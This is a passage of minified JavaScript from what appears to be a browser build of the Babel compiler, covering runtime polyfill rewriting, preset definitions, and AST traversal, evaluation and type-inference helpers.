a=e.node,o=a.object,u=a.property;if(n.isReferenced(o,a)&&!a.computed&&r(i.default.methods,o.name)){var l=i.default.methods[o.name];if(r(l,u.name)&&!e.scope.getBindingIdentifier(o.name)){if("Object"===o.name&&"defineProperty"===u.name&&e.parentPath.isCallExpression()){var c=e.parentPath.node;if(3===c.arguments.length&&n.isLiteral(c.arguments[1]))return}var f=t(s.opts);e.replaceWith(s.addImport(f+"/core-js/"+l[u.name],"default",o.name+"$"+u.name))}}}},exit:function(e,s){if(!1!==s.opts.polyfill&&e.isReferenced()){var a=e.node,o=a.object;if(r(i.default.builtins,o.name)&&!e.scope.getBindingIdentifier(o.name)){var u=t(s.opts);e.replaceWith(n.memberExpression(s.addImport(u+"/core-js/"+i.default.builtins[o.name],"default",o.name),a.property,a.computed))}}}}}}};var n=r(352),i=function(e){return e&&e.__esModule?e:{default:e}}(n);t.definitions=i.default},function(e,t,r){"use strict";t.__esModule=!0,t.default=function(e){var t=e.messages;return{visitor:{ReferencedIdentifier:function(e){var r=e.node,n=e.scope,s=n.getBinding(r.name)
;if(s&&"type"===s.kind&&!e.parentPath.isFlow())throw e.buildCodeFrameError(t.get("undeclaredVariableType",r.name),ReferenceError);if(!n.hasBinding(r.name)){var a=n.getAllBindings(),o=void 0,u=-1;for(var l in a){var c=(0,i.default)(r.name,l);c<=0||c>3||(c<=u||(o=l,u=c))}var f=void 0;throw f=o?t.get("undeclaredVariableSuggestion",r.name,o):t.get("undeclaredVariable",r.name),e.buildCodeFrameError(f,ReferenceError)}}}}};var n=r(471),i=function(e){return e&&e.__esModule?e:{default:e}}(n);e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0;var n=r(211),i=function(e){return e&&e.__esModule?e:{default:e}}(n);t.default={plugins:[i.default]},e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0,t.default=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return{presets:[!1!==t.es2015&&[s.default.buildPreset,t.es2015],!1!==t.es2016&&o.default,!1!==t.es2017&&l.default].filter(Boolean)}};var i=r(217),s=n(i),a=r(218),o=n(a),u=r(219),l=n(u);e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var i=r(355),s=n(i),a=r(215),o=n(a),u=r(127),l=n(u),c=r(214),f=n(c);t.default={presets:[s.default],plugins:[o.default,l.default,f.default],env:{development:{plugins:[]}}},e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var i=r(220),s=n(i),a=r(206),o=n(a),u=r(212),l=n(u);t.default={presets:[s.default],plugins:[o.default,l.default]},e.exports=t.default},function(e,t,r){"use strict";e.exports={default:r(407),__esModule:!0}},function(e,t,r){"use strict";e.exports={default:r(410),__esModule:!0}},function(e,t,r){"use strict";e.exports={default:r(412),__esModule:!0}},function(e,t,r){"use strict";e.exports={default:r(413),__esModule:!0}},function(e,t,r){"use strict";e.exports={default:r(415),__esModule:!0}},function(e,t,r){"use strict";e.exports={default:r(416),__esModule:!0}},function(e,t,r){"use strict";e.exports={default:r(417),__esModule:!0}},function(e,t){"use strict";t.__esModule=!0,t.default=function(e,t){var r={};for(var n in e)t.indexOf(n)>=0||Object.prototype.hasOwnProperty.call(e,n)&&(r[n]=e[n]);return r}},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var i=r(2),s=n(i),a=r(3),o=n(a),u=r(36),l=n(u),c=r(1),f=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(c),p=function(){function e(t,r,n,i){(0,o.default)(this,e),this.queue=null,this.parentPath=i,this.scope=t,this.state=n,this.opts=r}return e.prototype.shouldVisit=function(e){var t=this.opts;if(t.enter||t.exit)return!0;if(t[e.type])return!0;var r=f.VISITOR_KEYS[e.type];if(!r||!r.length)return!1;for(var n=r,i=Array.isArray(n),a=0,n=i?n:(0,s.default)(n);;){var o;if(i){if(a>=n.length)break;o=n[a++]}else{if(a=n.next(),a.done)break;o=a.value}if(e[o])return!0}return!1},e.prototype.create=function(e,t,r,n){return l.default.get({parentPath:this.parentPath,parent:e,container:t,key:r,listKey:n})},e.prototype.maybeQueue=function(e,t){if(this.trap)throw new Error("Infinite cycle detected");this.queue&&(t?this.queue.push(e):this.priorityQueue.push(e))},e.prototype.visitMultiple=function(e,t,r){if(0===e.length)return!1;for(var n=[],i=0;i<e.length;i++){var s=e[i];s&&this.shouldVisit(s)&&n.push(this.create(t,e,i,r))}return this.visitQueue(n)},e.prototype.visitSingle=function(e,t){return!!this.shouldVisit(e[t])&&this.visitQueue([this.create(e,e,t)])},e.prototype.visitQueue=function(e){this.queue=e,this.priorityQueue=[];for(var t=[],r=!1,n=e,i=Array.isArray(n),a=0,n=i?n:(0,s.default)(n);;){var o;if(i){if(a>=n.length)break;o=n[a++]}else{if(a=n.next(),a.done)break;o=a.value}var u=o;if(u.resync(),0!==u.contexts.length&&u.contexts[u.contexts.length-1]===this||u.pushContext(this),null!==u.key&&!(t.indexOf(u.node)>=0)){if(t.push(u.node),u.visit()){r=!0;break}if(this.priorityQueue.length&&(r=this.visitQueue(this.priorityQueue),this.priorityQueue=[],this.queue=e,r))break}}for(var l=e,c=Array.isArray(l),f=0,l=c?l:(0,s.default)(l);;){var p;if(c){if(f>=l.length)break;p=l[f++]}else{if(f=l.next(),f.done)break;p=f.value}p.popContext()}return this.queue=null,r},e.prototype.visit=function(e,t){var r=e[t];return!!r&&(Array.isArray(r)?this.visitMultiple(r,e,t):this.visitSingle(e,t))},e}();t.default=p,e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}function i(e){for(var t=this;t=t.parentPath;)if(e(t))return t;return null}function s(e){var t=this;do{if(e(t))return t}while(t=t.parentPath);return null}function a(){return this.findParent(function(e){return e.isFunction()||e.isProgram()})}function o(){var e=this;do{if(Array.isArray(e.container))return e}while(e=e.parentPath)}function u(e){return this.getDeepestCommonAncestorFrom(e,function(e,t,r){for(var n=void 0,i=g.VISITOR_KEYS[e.type],s=r,a=Array.isArray(s),o=0,s=a?s:(0,y.default)(s);;){var u;if(a){if(o>=s.length)break;u=s[o++]}else{if(o=s.next(),o.done)break;u=o.value}var l=u,c=l[t+1];if(n)if(c.listKey&&n.listKey===c.listKey&&c.key<n.key)n=c;else{var f=i.indexOf(n.parentKey),p=i.indexOf(c.parentKey);f>p&&(n=c)}else n=c}return n})}function l(e,t){var r=this;if(!e.length)return this;if(1===e.length)return e[0];var n=1/0,i=void 0,s=void 0,a=e.map(function(e){var t=[];do{t.unshift(e)}while((e=e.parentPath)&&e!==r);return t.length<n&&(n=t.length),t}),o=a[0];e:for(var u=0;u<n;u++){for(var l=o[u],c=a,f=Array.isArray(c),p=0,c=f?c:(0,y.default)(c);;){var d;if(f){if(p>=c.length)break;d=c[p++]}else{if(p=c.next(),p.done)break;d=p.value}var h=d;if(h[u]!==l)break e}i=u,s=l}if(s)return t?t(s,i,a):s;throw new Error("Couldn't find intersection")}function c(){var e=this,t=[];do{t.push(e)}while(e=e.parentPath);return t}function f(e){return e.isDescendant(this)}function p(e){return!!this.findParent(function(t){return t===e})}function d(){for(var e=this;e;){for(var t=arguments,r=Array.isArray(t),n=0,t=r?t:(0,y.default)(t);;){var i;if(r){if(n>=t.length)break;i=t[n++]}else{if(n=t.next(),n.done)break;i=n.value}var s=i;if(e.node.type===s)return!0}e=e.parentPath}return!1}function h(e){var t=this.isFunction()?this:this.findParent(function(e){return e.isFunction()});if(t){if(t.isFunctionExpression()||t.isFunctionDeclaration()){var r=t.node.shadow;if(r&&(!e||!1!==r[e]))return t}else if(t.isArrowFunctionExpression())return t;return null}}t.__esModule=!0;var m=r(2),y=n(m);t.findParent=i,t.find=s,t.getFunctionParent=a,t.getStatementParent=o,t.getEarliestCommonAncestorFrom=u,t.getDeepestCommonAncestorFrom=l,t.getAncestry=c,t.isAncestor=f,t.isDescendant=p,t.inType=d,t.inShadow=h;var v=r(1),g=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(v),b=r(36);n(b)},function(e,t){"use strict";function r(){if("string"!=typeof this.key){var e=this.node;if(e){var t=e.trailingComments,r=e.leadingComments;if(t||r){var n=this.getSibling(this.key-1),i=this.getSibling(this.key+1);n.node||(n=i),i.node||(i=n),n.addComments("trailing",r),i.addComments("leading",t)}}}}function n(e,t,r){this.addComments(e,[{type:r?"CommentLine":"CommentBlock",value:t}])}function i(e,t){if(t){var r=this.node;if(r){var n=e+"Comments";r[n]?r[n]=r[n].concat(t):r[n]=t}}}t.__esModule=!0,t.shareCommentsWithSiblings=r,t.addComment=n,t.addComments=i},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}function i(e){var t=this.opts;return this.debug(function(){return e}),!(!this.node||!this._call(t[e]))||!!this.node&&this._call(t[this.node.type]&&t[this.node.type][e])}function s(e){if(!e)return!1;for(var t=e,r=Array.isArray(t),n=0,t=r?t:(0,D.default)(t);;){var i;if(r){if(n>=t.length)break;i=t[n++]}else{if(n=t.next(),n.done)break;i=n.value}var s=i;if(s){var a=this.node;if(!a)return!0;if(s.call(this.state,this,this.state))throw new Error("Unexpected return value from visitor method "+s);if(this.node!==a)return!0;if(this.shouldStop||this.shouldSkip||this.removed)return!0}}return!1}function a(){var e=this.opts.blacklist;return e&&e.indexOf(this.node.type)>-1}function o(){return!!this.node&&(!this.isBlacklisted()&&((!this.opts.shouldSkip||!this.opts.shouldSkip(this))&&(this.call("enter")||this.shouldSkip?(this.debug(function(){return"Skip..."}),this.shouldStop):(this.debug(function(){return"Recursing into..."}),w.default.node(this.node,this.opts,this.scope,this.state,this,this.skipKeys),this.call("exit"),this.shouldStop))))}function u(){this.shouldSkip=!0}function l(e){this.skipKeys[e]=!0}function c(){this.shouldStop=!0,this.shouldSkip=!0}function f(){if(!this.opts||!this.opts.noScope){var e=this.context&&this.context.scope;if(!e)for(var t=this.parentPath;t&&!e;){if(t.opts&&t.opts.noScope)return;e=t.scope,t=t.parentPath}this.scope=this.getScope(e),this.scope&&this.scope.init()}}function p(e){return this.shouldSkip=!1,this.shouldStop=!1,this.removed=!1,this.skipKeys={},e&&(this.context=e,this.state=e.state,this.opts=e.opts),this.setScope(),this}function d(){this.removed||(this._resyncParent(),this._resyncList(),this._resyncKey())}function h(){this.parentPath&&(this.parent=this.parentPath.node)}function m(){if(this.container&&this.node!==this.container[this.key]){if(Array.isArray(this.container)){for(var e=0;e<this.container.length;e++)if(this.container[e]===this.node)return this.setKey(e)}else for(var t in this.container)if(this.container[t]===this.node)return this.setKey(t);this.key=null}}function y(){if(this.parent&&this.inList){var e=this.parent[this.listKey];this.container!==e&&(this.container=e||null)}}function v(){null!=this.key&&this.container&&this.container[this.key]===this.node||this._markRemoved()}function g(){this.contexts.pop(),this.setContext(this.contexts[this.contexts.length-1])}function b(e){this.contexts.push(e),this.setContext(e)}function E(e,t,r,n){this.inList=!!r,this.listKey=r,this.parentKey=r||n,this.container=t,this.parentPath=e||this.parentPath,this.setKey(n)}function x(e){this.key=e,this.node=this.container[this.key],this.type=this.node&&this.node.type}function A(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this;if(!e.removed)for(var t=this.contexts,r=t,n=Array.isArray(r),i=0,r=n?r:(0,D.default)(r);;){var s;if(n){if(i>=r.length)break;s=r[i++]}else{if(i=r.next(),i.done)break;s=i.value}var a=s;a.maybeQueue(e)}}function S(){for(var e=this,t=this.contexts;!t.length;)e=e.parentPath,t=e.contexts;return t}t.__esModule=!0;var _=r(2),D=n(_);t.call=i,t._call=s,t.isBlacklisted=a,t.visit=o,t.skip=u,t.skipKey=l,t.stop=c,t.setScope=f,t.setContext=p,t.resync=d,t._resyncParent=h,t._resyncKey=m,t._resyncList=y,t._resyncRemoved=v,t.popContext=g,t.pushContext=b,t.setup=E,t.setKey=x,t.requeue=A,t._getQueueContexts=S;var C=r(7),w=n(C)},function(e,t,r){"use strict";function n(){var e=this.node,t=void 0;if(this.isMemberExpression())t=e.property;else{if(!this.isProperty()&&!this.isMethod())throw new ReferenceError("todo");t=e.key}return e.computed||o.isIdentifier(t)&&(t=o.stringLiteral(t.name)),t}function i(){return o.ensureBlock(this.node)}function s(){if(this.isArrowFunctionExpression()){this.ensureBlock();var e=this.node;e.expression=!1,e.type="FunctionExpression",e.shadow=e.shadow||!0}}t.__esModule=!0,t.toComputedKey=n,t.ensureBlock=i,t.arrowFunctionToShadowed=s;var a=r(1),o=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(a)},function(e,t,r){(function(e){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}function i(){var e=this.evaluate();if(e.confident)return!!e.value}function s(){function t(e){i&&(s=e,i=!1)}function r(e){var r=e.node;if(a.has(r)){var s=a.get(r);return s.resolved?s.value:void t(e)}var o={resolved:!1};a.set(r,o);var u=n(e);return i&&(o.resolved=!0,o.value=u),u}function n(n){if(i){var s=n.node;if(n.isSequenceExpression()){var a=n.get("expressions");return r(a[a.length-1])}if(n.isStringLiteral()||n.isNumericLiteral()||n.isBooleanLiteral())return s.value;if(n.isNullLiteral())return null;if(n.isTemplateLiteral()){for(var u="",c=0,f=n.get("expressions"),h=s.quasis,m=Array.isArray(h),y=0,h=m?h:(0,l.default)(h);;){var v;if(m){if(y>=h.length)break;v=h[y++]}else{if(y=h.next(),y.done)break;v=y.value}var g=v;if(!i)break;u+=g.value.cooked;var b=f[c++];b&&(u+=String(r(b)))}if(!i)return;return u}if(n.isConditionalExpression()){var E=r(n.get("test"));if(!i)return;return r(E?n.get("consequent"):n.get("alternate"))}if(n.isExpressionWrapper())return r(n.get("expression"));if(n.isMemberExpression()&&!n.parentPath.isCallExpression({callee:s})){var x=n.get("property"),A=n.get("object");if(A.isLiteral()&&x.isIdentifier()){var S=A.node.value,_=void 0===S?"undefined":(0,o.default)(S);if("number"===_||"string"===_)return S[x.node.name]}}if(n.isReferencedIdentifier()){var D=n.scope.getBinding(s.name);if(D&&D.constantViolations.length>0)return t(D.path);if(D&&n.node.start<D.path.node.end)return t(D.path);if(D&&D.hasValue)return D.value;if("undefined"===s.name)return D?t(D.path):void 0;if("Infinity"===s.name)return D?t(D.path):1/0;if("NaN"===s.name)return D?t(D.path):NaN;var C=n.resolve();return C===n?t(n):r(C)}if(n.isUnaryExpression({prefix:!0})){if("void"===s.operator)return;var w=n.get("argument");if("typeof"===s.operator&&(w.isFunction()||w.isClass()))return"function";var P=r(w);if(!i)return;switch(s.operator){case"!":return!P;case"+":return+P;case"-":return-P;case"~":return~P;case"typeof":return void 0===P?"undefined":(0,o.default)(P)}}if(n.isArrayExpression()){for(var k=[],F=n.get("elements"),T=F,O=Array.isArray(T),B=0,T=O?T:(0,l.default)(T);;){var R;if(O){if(B>=T.length)break;R=T[B++]}else{if(B=T.next(),B.done)break;R=B.value}var I=R;if(I=I.evaluate(),!I.confident)return t(I);k.push(I.value)}return k}if(n.isObjectExpression()){for(var M={},N=n.get("properties"),L=N,j=Array.isArray(L),U=0,L=j?L:(0,l.default)(L);;){var V;if(j){if(U>=L.length)break;V=L[U++]}else{if(U=L.next(),U.done)break;V=U.value}var G=V;if(G.isObjectMethod()||G.isSpreadProperty())return t(G);var W=G.get("key"),Y=W;if(G.node.computed){if(Y=Y.evaluate(),!Y.confident)return t(W);Y=Y.value}else Y=Y.isIdentifier()?Y.node.name:Y.node.value;var q=G.get("value"),K=q.evaluate();if(!K.confident)return t(q);K=K.value,M[Y]=K}return M}if(n.isLogicalExpression()){var H=i,J=r(n.get("left")),X=i;i=H;var z=r(n.get("right")),$=i;switch(i=X&&$,s.operator){case"||":if(J&&X)return i=!0,J;if(!i)return;return J||z;case"&&":if((!J&&X||!z&&$)&&(i=!0),!i)return;return J&&z}}if(n.isBinaryExpression()){var Q=r(n.get("left"));if(!i)return;var Z=r(n.get("right"));if(!i)return;switch(s.operator){case"-":return Q-Z;case"+":return Q+Z;case"/":return Q/Z;case"*":return Q*Z;case"%":return Q%Z;case"**":return Math.pow(Q,Z);case"<":return Q<Z;case">":return Q>Z;case"<=":return Q<=Z;case">=":return Q>=Z;case"==":return Q==Z;case"!=":return Q!=Z;case"===":return Q===Z;case"!==":return Q!==Z;case"|":return Q|Z;case"&":return Q&Z;case"^":return Q^Z;case"<<":return Q<<Z;case">>":return Q>>Z;case">>>":return Q>>>Z}}if(n.isCallExpression()){var ee=n.get("callee"),te=void 0,re=void 0;if(ee.isIdentifier()&&!n.scope.getBinding(ee.node.name,!0)&&p.indexOf(ee.node.name)>=0&&(re=e[s.callee.name]),ee.isMemberExpression()){var ne=ee.get("object"),ie=ee.get("property");if(ne.isIdentifier()&&ie.isIdentifier()&&p.indexOf(ne.node.name)>=0&&d.indexOf(ie.node.name)<0&&(te=e[ne.node.name],re=te[ie.node.name]),ne.isLiteral()&&ie.isIdentifier()){var se=(0,o.default)(ne.node.value);"string"!==se&&"number"!==se||(te=ne.node.value,re=te[ie.node.name])}}if(re){var ae=n.get("arguments").map(r);if(!i)return;return re.apply(te,ae)}}t(n)}}var i=!0,s=void 0,a=new f.default,u=r(this);return i||(u=void 0),{confident:i,deopt:s,value:u}}t.__esModule=!0;var a=r(11),o=n(a),u=r(2),l=n(u),c=r(133),f=n(c);t.evaluateTruthy=i,t.evaluate=s;var p=["String","Number","Math"],d=["random"]}).call(t,function(){return this}())},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}function i(){var e=this;do{if(!e.parentPath||Array.isArray(e.container)&&e.isStatement())break;e=e.parentPath}while(e);if(e&&(e.isProgram()||e.isFile()))throw new Error("File/Program node, we can't possibly find a statement parent to this");return e}function s(){return"left"===this.key?this.getSibling("right"):"right"===this.key?this.getSibling("left"):void 0}function a(){var e=[],t=function(t){t&&(e=e.concat(t.getCompletionRecords()))};if(this.isIfStatement())t(this.get("consequent")),t(this.get("alternate"));else if(this.isDoExpression()||this.isFor()||this.isWhile())t(this.get("body"));else if(this.isProgram()||this.isBlockStatement())t(this.get("body").pop());else{if(this.isFunction())return this.get("body").getCompletionRecords();this.isTryStatement()?(t(this.get("block")),t(this.get("handler")),t(this.get("finalizer"))):e.push(this)}return e}function o(e){return _.default.get({parentPath:this.parentPath,parent:this.parent,container:this.container,listKey:this.listKey,key:e})}function u(){return this.getSibling(this.key-1)}function l(){return this.getSibling(this.key+1)}function c(){for(var e=this.key,t=this.getSibling(++e),r=[];t.node;)r.push(t),t=this.getSibling(++e);return r}function f(){for(var e=this.key,t=this.getSibling(--e),r=[];t.node;)r.push(t),t=this.getSibling(--e);return r}function p(e,t){!0===t&&(t=this.context);var r=e.split(".");return 1===r.length?this._getKey(e,t):this._getPattern(r,t)}function d(e,t){var r=this,n=this.node,i=n[e];return Array.isArray(i)?i.map(function(s,a){return _.default.get({listKey:e,parentPath:r,parent:n,container:i,key:a}).setContext(t)}):_.default.get({parentPath:this,parent:n,container:n,key:e}).setContext(t)}function h(e,t){for(var r=this,n=e,i=Array.isArray(n),s=0,n=i?n:(0,A.default)(n);;){var a;if(i){if(s>=n.length)break;a=n[s++]}else{if(s=n.next(),s.done)break;a=s.value}var o=a;r="."===o?r.parentPath:Array.isArray(r)?r[o]:r.get(o,t)}return r}function m(e){return C.getBindingIdentifiers(this.node,e)}function y(e){return C.getOuterBindingIdentifiers(this.node,e)}function v(){for(var e=arguments.length>0&&void 0!==arguments[0]&&arguments[0],t=arguments.length>1&&void 0!==arguments[1]&&arguments[1],r=this,n=[].concat(r),i=(0,E.default)(null);n.length;){var s=n.shift();if(s&&s.node){var a=C.getBindingIdentifiers.keys[s.node.type];if(s.isIdentifier())if(e){var o=i[s.node.name]=i[s.node.name]||[];o.push(s)}else i[s.node.name]=s;else if(s.isExportDeclaration()){var u=s.get("declaration");u.isDeclaration()&&n.push(u)}else{if(t){if(s.isFunctionDeclaration()){n.push(s.get("id"));continue}if(s.isFunctionExpression())continue}if(a)for(var l=0;l<a.length;l++){var c=a[l],f=s.get(c);(Array.isArray(f)||f.node)&&(n=n.concat(f))}}}}return i}function g(e){return this.getBindingIdentifierPaths(e,!0)}t.__esModule=!0;var b=r(9),E=n(b),x=r(2),A=n(x);t.getStatementParent=i,t.getOpposite=s,t.getCompletionRecords=a,t.getSibling=o,t.getPrevSibling=u,t.getNextSibling=l,t.getAllNextSiblings=c,t.getAllPrevSiblings=f,t.get=p,t._getKey=d,t._getPattern=h,t.getBindingIdentifiers=m,t.getOuterBindingIdentifiers=y,t.getBindingIdentifierPaths=v,t.getOuterBindingIdentifierPaths=g;var S=r(36),_=n(S),D=r(1),C=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(D)},function(e,t,r){"use strict";function n(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}function i(){if(this.typeAnnotation)return this.typeAnnotation;var e=this._getTypeAnnotation()||y.anyTypeAnnotation();return y.isTypeAnnotation(e)&&(e=e.typeAnnotation),this.typeAnnotation=e}function s(){var e=this.node;{if(e){if(e.typeAnnotation)return e.typeAnnotation;var t=h[e.type];return t?t.call(this,e):(t=h[this.parentPath.type],t&&t.validParent?this.parentPath.getTypeAnnotation():void 0)}if("init"===this.key&&this.parentPath.isVariableDeclarator()){var r=this.parentPath.parentPath,n=r.parentPath;return"left"===r.key&&n.isForInStatement()?y.stringTypeAnnotation():"left"===r.key&&n.isForOfStatement()?y.anyTypeAnnotation():y.voidTypeAnnotation()}}}function a(e,t){return o(e,this.getTypeAnnotation(),t)}function o(e,t,r){if("string"===e)return y.isStringTypeAnnotation(t);if("number"===e)return y.isNumberTypeAnnotation(t);if("boolean"===e)return y.isBooleanTypeAnnotation(t);if("any"===e)return y.isAnyTypeAnnotation(t);if("mixed"===e)return y.isMixedTypeAnnotation(t);if("empty"===e)return y.isEmptyTypeAnnotation(t);if("void"===e)return y.isVoidTypeAnnotation(t);if(r)return!1;throw new Error("Unknown base type "+e)}function u(e){var t=this.getTypeAnnotation();if(y.isAnyTypeAnnotation(t))return!0;if(y.isUnionTypeAnnotation(t)){for(var r=t.types,n=Array.isArray(r),i=0,r=n?r:(0,p.default)(r);;){var s;if(n){if(i>=r.length)break;s=r[i++]}else{if(i=r.next(),i.done)break;s=i.value}var a=s;if(y.isAnyTypeAnnotation(a)||o(e,a,!0))return!0}return!1}return o(e,t,!0)}function l(e){var t=this.getTypeAnnotation();if(e=e.getTypeAnnotation(),!y.isAnyTypeAnnotation(t)&&y.isFlowBaseAnnotation(t))return e.type===t.type}function c(e){var t=this.getTypeAnnotation();return y.isGenericTypeAnnotation(t)&&y.isIdentifier(t.id,{name:e})}t.__esModule=!0;var f=r(2),p=function(e){return e&&e.__esModule?e:{default:e}}(f);t.getTypeAnnotation=i,t._getTypeAnnotation=s,t.isBaseType=a,t.couldBeBaseType=u,t.baseTypeStrictlyMatches=l,t.isGenericType=c;var d=r(376),h=n(d),m=r(1),y=n(m)},function(e,t,r){"use strict";function n(e,t){var r=e.scope.getBinding(t),n=[];e.typeAnnotation=f.unionTypeAnnotation(n);var s=[],a=i(r,e,s),u=o(e,t);if(u){var c=i(r,u.ifStatement);a=a.filter(function(e){return c.indexOf(e)<0}),n.push(u.typeAnnotation)}if(a.length){a=a.concat(s);for(var p=a,d=Array.isArray(p),h=0,p=d?p:(0,l.default)(p);;){var m;if(d){if(h>=p.length)break;m=p[h++]}else{if(h=p.next(),h.done)break;m=h.value}var y=m;n.push(y.getTypeAnnotation())}}if(n.length)return f.createUnionTypeAnnotation(n)}function i(e,t,r){var n=e.constantViolations.slice();return n.unshift(e.path),n.filter(function(e){e=e.resolve();var n=e._guessExecutionStatusRelativeTo(t);return r&&"function"===n&&r.push(e),"before"===n})}function s(e,t){var r=t.node.operator,n=t.get("right").resolve(),i=t.get("left").resolve(),s=void 0;if(i.isIdentifier({name:e})?s=n:n.isIdentifier({name:e})&&(s=i),s)return"==="===r?s.getTypeAnnotation():f.BOOLEAN_NUMBER_BINARY_OPERATORS.indexOf(r)>=0?f.numberTypeAnnotation():void 0;if("==="===r){var a=void 0,o=void 0;if(i.isUnaryExpression({operator:"typeof"})?(a=i,o=n):n.isUnaryExpression({operator:"typeof"})&&(a=n,o=i),(o||a)&&(o=o.resolve(),o.isLiteral())){if("string"==typeof o.node.value&&a.get("argument").isIdentifier({name:e}))return f.createTypeAnnotationBasedOnTypeof(o.node.value)}}}function a(e){for(var t=void 0;t=e.parentPath;){if(t.isIfStatement()||t.isConditionalExpression())return"test"===e.key?void 0:t;e=t}}function o(e,t){var r=a(e);if(r){var n=r.get("test"),i=[n],u=[];do{var l=i.shift().resolve();if(l.isLogicalExpression()&&(i.push(l.get("left")),i.push(l.get("right"))),l.isBinaryExpression()){var c=s(t,l);c&&u.push(c)}}while(i.length);return u.length?{typeAnnotation:f.createUnionTypeAnnotation(u),ifStatement:r}:o(r,t)}}t.__esModule=!0;var u=r(2),l=function(e){return e&&e.__esModule?e:{default:e}}(u);t.default=function(e){if(this.isReferenced()){var t=this.scope.getBinding(e.name);return t?t.identifier.typeAnnotation?t.identifier.typeAnnotation:n(this,e.name):"undefined"===e.name?f.voidTypeAnnotation():"NaN"===e.name||"Infinity"===e.name?f.numberTypeAnnotation():void e.name}};var c=r(1),f=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(c);e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}function i(){return this.get("id").isIdentifier()?this.get("init").getTypeAnnotation():void 0}function s(e){return e.typeAnnotation}function a(e){if(this.get("callee").isIdentifier())return k.genericTypeAnnotation(e.callee)}function o(){return k.stringTypeAnnotation()}function u(e){var t=e.operator;return"void"===t?k.voidTypeAnnotation():k.NUMBER_UNARY_OPERATORS.indexOf(t)>=0?k.numberTypeAnnotation():k.STRING_UNARY_OPERATORS.indexOf(t)>=0?k.stringTypeAnnotation():k.BOOLEAN_UNARY_OPERATORS.indexOf(t)>=0?k.booleanTypeAnnotation():void 0}function l(e){var t=e.operator;if(k.NUMBER_BINARY_OPERATORS.indexOf(t)>=0)return k.numberTypeAnnotation();if(k.BOOLEAN_BINARY_OPERATORS.indexOf(t)>=0)return k.booleanTypeAnnotation();if("+"===t){var r=this.get("right"),n=this.get("left");return n.isBaseType("number")&&r.isBaseType("number")?k.numberTypeAnnotation():n.isBaseType("string")||r.isBaseType("string")?k.stringTypeAnnotation():k.unionTypeAnnotation([k.stringTypeAnnotation(),k.numberTypeAnnotation()])}}function c(){return k.createUnionTypeAnnotation([this.get("left").getTypeAnnotation(),this.get("right").getTypeAnnotation()])}function f(){return k.createUnionTypeAnnotation([this.get("consequent").getTypeAnnotation(),this.get("alternate").getTypeAnnotation()])}function p(){return this.get("expressions").pop().getTypeAnnotation()}function d(){return this.get("right").getTypeAnnotation()}function h(e){var t=e.operator;if("++"===t||"--"===t)return k.numberTypeAnnotation()}function m(){return k.stringTypeAnnotation()}function y(){return k.numberTypeAnnotation()}function v(){return k.booleanTypeAnnotation()}function g(){return k.nullLiteralTypeAnnotation()}function b(){return k.genericTypeAnnotation(k.identifier("RegExp"))}function E(){return k.genericTypeAnnotation(k.identifier("Object"))}function x(){return k.genericTypeAnnotation(k.identifier("Array"))}function A(){return x()}function S(){return k.genericTypeAnnotation(k.identifier("Function"))}function _(){return C(this.get("callee"))}function D(){return C(this.get("tag"))}function C(e){if(e=e.resolve(),e.isFunction()){if(e.is("async"))return e.is("generator")?k.genericTypeAnnotation(k.identifier("AsyncIterator")):k.genericTypeAnnotation(k.identifier("Promise"));if(e.node.returnType)return e.node.returnType}}t.__esModule=!0,t.ClassDeclaration=t.ClassExpression=t.FunctionDeclaration=t.ArrowFunctionExpression=t.FunctionExpression=t.Identifier=void 0;var w=r(375);Object.defineProperty(t,"Identifier",{enumerable:!0,get:function(){return n(w).default}}),t.VariableDeclarator=i,t.TypeCastExpression=s,t.NewExpression=a,t.TemplateLiteral=o,t.UnaryExpression=u,t.BinaryExpression=l,t.LogicalExpression=c,t.ConditionalExpression=f,t.SequenceExpression=p,t.AssignmentExpression=d,t.UpdateExpression=h,t.StringLiteral=m,t.NumericLiteral=y,t.BooleanLiteral=v,t.NullLiteral=g,t.RegExpLiteral=b,t.ObjectExpression=E,t.ArrayExpression=x,t.RestElement=A,t.CallExpression=_,t.TaggedTemplateExpression=D;var P=r(1),k=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(P);s.validParent=!0,A.validParent=!0,t.FunctionExpression=S,t.ArrowFunctionExpression=S,t.FunctionDeclaration=S,t.ClassExpression=S,t.ClassDeclaration=S},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}function i(e,t){function r(e){var t=n[s];return"*"===t||e===t}if(!this.isMemberExpression())return!1;for(var n=e.split("."),i=[this.node],s=0;i.length;){var a=i.shift();if(t&&s===n.length)return!0;if(C.isIdentifier(a)){if(!r(a.name))return!1}else 